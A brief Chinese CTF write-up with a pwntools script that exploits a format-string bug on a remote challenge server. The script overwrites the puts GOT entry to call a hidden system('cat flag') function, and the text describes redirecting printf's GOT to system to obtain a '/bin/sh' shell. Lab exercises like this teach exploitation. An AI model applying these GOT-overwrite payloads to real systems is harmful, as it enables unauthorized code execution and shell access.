代码如下:
from pwn import *
context(arch='amd64', os='linux')
elf = ELF("./pwn")
io = remote("111.200.241.244", 56315)
catflag_addr = 0x4008DA
puts_got = elf.got['puts']
payload = fmtstr_payload(6, {puts_got: catflag_addr})
io.recvuntil("3. Exit the battle")
io.sendline("2")
io.sendline(payload)
io.interactive()
原理是在0x4008DA这个地址有一个函数是直接system(“cat flag”)的,我们利用字符串格式化漏洞修改puts函数的GOT表,直接修改到上面这个黑客函数的地址,然后下一次调用puts的时候,就会直接进入黑客函数。
PLT表在运行时可能是只读的,不可修改。
这个题目里面有一段代码是scanf一个字符串,然后再把这个字符串printf出来,另一种利用方式是,修改printf函数的GOT表为system函数的地址,然后在scanf的时候直接输入"/bin/sh",这样就能直接拿到系统的shell。